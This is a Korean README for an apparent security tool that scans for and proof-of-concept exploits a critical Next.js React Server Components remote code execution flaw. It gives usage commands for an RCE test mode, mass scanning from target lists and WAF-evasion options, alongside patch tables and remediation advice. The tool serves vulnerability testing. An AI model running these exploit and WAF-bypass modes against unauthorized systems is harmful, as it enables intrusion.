
Next.js RSC 원격 코드 실행 취약점을 위한 가장 포괄적인 스캐너
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478(일명 CVE-2025-55182)은 React Server Components(RSC)를 사용하는 Next.js 애플리케이션에 영향을 주는 치명적인(CVSS 10.0) 원격 코드 실행 취약점입니다.
이 도구는 여러 CVE-2025-66478 스캐너의 최고의 기능을 결합합니다:
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
--safe)코드를 실행하지 않고 특정 오류 응답 패턴을 트리거합니다. 오류 처리 동작을 통해 취약한 RSC 구현을 식별합니다.
--rce)RCE 가능 여부를 확인하기 위해 무해한 수학적 계산(echo $((41*271)) = 11111)을 실행합니다. 결과는 X-Action-Redirect 헤더에 나타납니다.
--version)X-Powered-By 헤더에서 Next.js 버전 확인Vary 헤더 분석text/x-component 응답 확인--local)프로젝트 디렉터리에서 다음 항목을 스캔합니다:
package.json - 직접 종속성 선언package-lock.json - NPM 잠금 파일yarn.lock - Yarn 잠금 파일pnpm-lock.yaml - PNPM 잠금 파일bun.lockb - Bun 잠금 파일[VULNERABLE] https://target.com
Version: 15.3.1 | Status: 200 | Method: rce_poc
WAF Bypass: SUCCESS
[NOT VULNERABLE] https://safe-target.com
Version: 15.5.7 | Status: 200 | Method: http_headers
[WAF BLOCKED] https://protected.com
Version: 15.2.0 | Status: 403 | Method: rce_poc
WAF Detected: Exploit blocked
{
"tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
"version": "1.0.0",
"cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
"scan_time": "2025-12-06T12:00:00Z",
"total_results": 1,
"results": [
{
"url": "https://target.com",
"vulnerable": true,
"version": "15.3.1",
"status_code": 200,
"detection_method": "rce_poc",
"waf_detected": false,
"waf_bypassed": false
}
]
}
취약한 애플리케이션을 발견한 경우:
즉시 패치된 버전으로 업그레이드하세요:
임시 완화 조치:
로그에서 악용 시도를 모니터링하세요
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
MIT 라이선스 - 자세한 내용은 LICENSE 파일을 참조하세요.
⭐ 유용하다면 이 저장소에 Star를 남겨주세요! ⭐
| 버전 범위 | 상태 |
|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ 취약 |
| Next.js 15.1.0 - 15.1.8 | ⚠️ 취약 |
| Next.js 15.2.0 - 15.2.5 | ⚠️ 취약 |
| Next.js 15.3.0 - 15.3.5 | ⚠️ 취약 |
| Next.js 15.4.0 - 15.4.7 | ⚠️ 취약 |
| Next.js 15.5.0 - 15.5.6 | ⚠️ 취약 |
| Next.js 16.0.0 - 16.0.6 | ⚠️ 취약 |
| Next.js 14.3.0-canary.77+ | ⚠️ 취약 |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ 패치됨 |
| Next.js 16.0.7+ | ✅ 패치됨 |
| Next.js 13.x, 14.x stable | ✅ 영향 없음 |
| 기능 | 설명 |
|---|
| 🔍 다중 모드 탐지 | 안전한 부채널, RCE PoC, 버전 전용, 로컬 스캔 |
| 🛡️ WAF 우회 기법 | 정크 데이터 패딩, 유니코드 인코딩, Vercel 전용 우회 |
| 📁 로컬 프로젝트 스캔 | package.json, 잠금 파일에서 취약한 종속성 스캔 |
| ⚡ 고성능 | 구성 가능한 동시성을 갖춘 멀티스레드 스캔 |
| 📊 다중 출력 형식 | 콘솔, JSON, 파일 내보내기 |
| 🎯 정확한 버전 탐지 | HTTP 헤더, RSC 핑거프린팅, 패치 버전 인식 |
| 옵션 | 설명 |
|---|
-u, --url | 스캔할 단일 URL |
-l, --list | URL을 포함하는 파일 (한 줄에 하나) |
--local | 로컬 프로젝트 디렉터리 스캔 |
--safe | 안전한 부채널 탐지 (RCE 없음) |
--rce | RCE 개념 증명(PoC) 모드 |
--version | 버전 탐지만 수행 |
--comprehensive | 모든 기법을 사용한 전체 스캔 |
--waf-bypass | WAF 우회를 위한 정크 데이터 추가 |
--waf-bypass-size | 정크 데이터 크기(KB) (기본값: 128) |
--unicode | WAF 우회를 위한 유니코드 인코딩 |
--vercel-bypass | Vercel 전용 WAF 우회 |
--windows | Windows PowerShell 페이로드 사용 |
-t, --threads | 동시 스레드 수 (기본값: 10) |
--timeout | 요청 제한 시간(초) (기본값: 10) |
-k, --insecure | SSL 인증 비활성화 |
--proxy | 프록시 URL (http://host:port) |
-H, --header | 사용자 정의 헤더 (반복 가능) |
-o, --output | 출력 파일 (JSON) |
--all-results | 취약한 결과만이 아닌 모든 결과 저장 |
-v, --verbose | 상세 출력 |
-q, --quiet | 취약한 호스트만 표시 |
--json | stdout으로 JSON 출력 |
--no-color | 색상 출력 비활성화 |